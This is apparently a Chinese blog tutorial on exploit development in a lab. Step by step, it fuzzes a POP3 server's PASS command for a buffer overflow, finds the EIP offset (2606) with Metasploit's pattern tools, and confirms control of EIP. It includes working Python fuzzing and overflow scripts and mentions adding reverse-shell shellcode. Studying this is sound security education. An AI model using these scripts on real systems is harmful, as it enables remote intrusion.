下面就是 Kali 虚拟机对缓冲区溢出的测试:
已经知道目标 IP 为: 192.168.163.130
连接目标机器 110 端口成功, 接下来进行测试
事先已经知道 PASS 命令存在缓冲区溢出漏洞:
只要在 PASS 后边输入的数据达到某一个值时, 就会出现缓冲区溢出漏洞
但是, 手动尝试这个值实在有点低端, 写一个 Python 脚本:
先写一个基本的脚本来测试:
- #!/usr/bin/python
- import socket
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- print "\nSending evil buffer..."
- s.connect(('192.168.163.130', 110))
- data = s.recv(1024)
- print data
- s.send('USER test' + '\r\n')
- data = s.recv(1024)
- print data
- s.send('PASS test\r\n')
- data = s.recv(1024)
- print data
- s.close()
- print '\nDone'
- except:
- print 'Can not connect to POP3'
使用脚本:
如果脚本是从 Windows 移过来的:
- vi xxx.py
- :set fileformat=unix
- :wq
- chmod u+x xxx.py
- ./xxx.py
测试: OK
完善脚本:
- #!/usr/bin/python
- import socket
- buffer = ["A"]
- counter = 100
- while len(buffer) <= 30:
- buffer.append("A" * counter)
- counter += 200
- for string in buffer:
- print "FUZZING PASS WITH %s BYTES" % len(string)
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- connect = s.connect(('192.168.163.130', 110))
- s.recv(1024)
- s.send('USER test' + '\r\n')
- s.recv(1024)
- s.send('PASS' + string + '\r\n')
- s.send('QUIT\r\n')
- s.close()
测试: OK
我们发送这么多的数据来测试, 那么问题来了, 要怎么判断目标机器到底有没有缓冲区溢出?
这时候就需要上一篇提到的 ImmunityDebugger 了:
先得到进程的 PID:
记住这个 PID, 打开 ImmunityDebugger,file 菜单选择 attach
然后找到刚才的 PID 选择即可:
默认的暂停状态, 点击开始按钮来继续:
打开 Kali 虚拟机开始发送:
果然, 发送到 2900 的时候停下来了:
我们看看 Windows 机器:
观察寄存器:
注意这里的寄存器显示: 41414141, 根据 Ascii 码表, 得出是 AAAA
这里重点注意 EIP: 系统下一步要执行指令的内存地址
而这里下一条指令全部都是 A, 没有正确的执行代码, 所以现在程序已经崩溃了
再看看下边的内存信息: 全部都是 A
我们可以把脚本的 A 改成其他字符继续测试, 发现都是到 3000 左右程序崩溃
到这里我们想到: 是否可以通过这个漏洞来做一些事情?
OK, 我们可以通过脚本测试得到确切的溢出值, 然后修改 EIP 寄存器存放下一条指令的地址
可以添加一些后门程序, 如果是 Shellcode 就可以进一步控制目标机器
下一个目标: 找出精确的溢出到 EIP 寄存器的字节, 进而可以修改程序运行轨迹
我们进一步来写一个脚本:
- #!/usr/bin/python
- import socket
- buffer = 'A' * 2700
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- print "\nSending evil buffer...\n"
- s.connect(('192.168.163.130', 110))
- data1 = s.recv(1024)
- s.send('USER test' + '\r\n')
- data2 = s.recv(1024)
- s.send('PASS' + buffer + '\r\n')
- s.close()
- print '\nDone'
- except:
- print 'Can not connect to POP3'
发送过去程序崩溃了, 说明 2700 大了, 那么需要调小一些,
改成 2600 试试: 发现程序崩溃了, 但是 EIP 并不是 A, 所以想要利用需要比 2600 大
到这里就知道了, 最终数据应该是 2600-2700 之间
不过, 具体该怎么精确地跳转呢?
二分法: 不必多说
唯一字符串法: 生成 2700 个字符, 每四个一组, 每一组字符串唯一, 发送唯一字符串, 精确定位
唯一字符串脚本比较复杂, 但不需要自己写, Kali 虚拟机里面就有: metasploit-framework 一个 Ruby 脚本
使用方式: ./pattern_create.rb -l 2700
我们使用这 2700 个字符地唯一字符串来修改上边地脚本, 把 "A"*2700 换成这个字符串
查看寄存器:
发现唯一字符串对应地址 (16 进制) 是: 39 69 44 38
由于内存地址, 读取要倒过来: 38 44 69 39
对应字符是: 8 D i 9
那么怎样知道对应第几位呢?
metasploit-framework 一个 Ruby 脚本可以解决:
使用:
或者这样:
得出是在第 2606 个位置
既然得到了是在第 2606 个位置:
就可以继续修改这个脚本了: 测试能否恰好是 BBBB
- #!/usr/bin/python
- import socket
- buffer = 'A' * 2606 + 'B' * 4 + 'C' * 20
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- print "\nSending evil buffer...\n"
- s.connect(('192.168.163.130', 110))
- data1 = s.recv(1024)
- s.send('USER test' + '\r\n')
- data2 = s.recv(1024)
- s.send('PASS' + buffer + '\r\n')
- s.close()
- print '\nDone'
- except:
- print 'Can not connect to POP3'
果然:
查看 42 对应的就是 B
那么
假设, 在 ESP 中, 不是 20 个 C, 而是 Shellcode 或者是恶意代码(反向连接等等)
就可以实现远程控制的目的
具体如何精确修改而实现对目标机器的控制呢?
来源: https://www.cnblogs.com/xuyiqing/p/9849072.html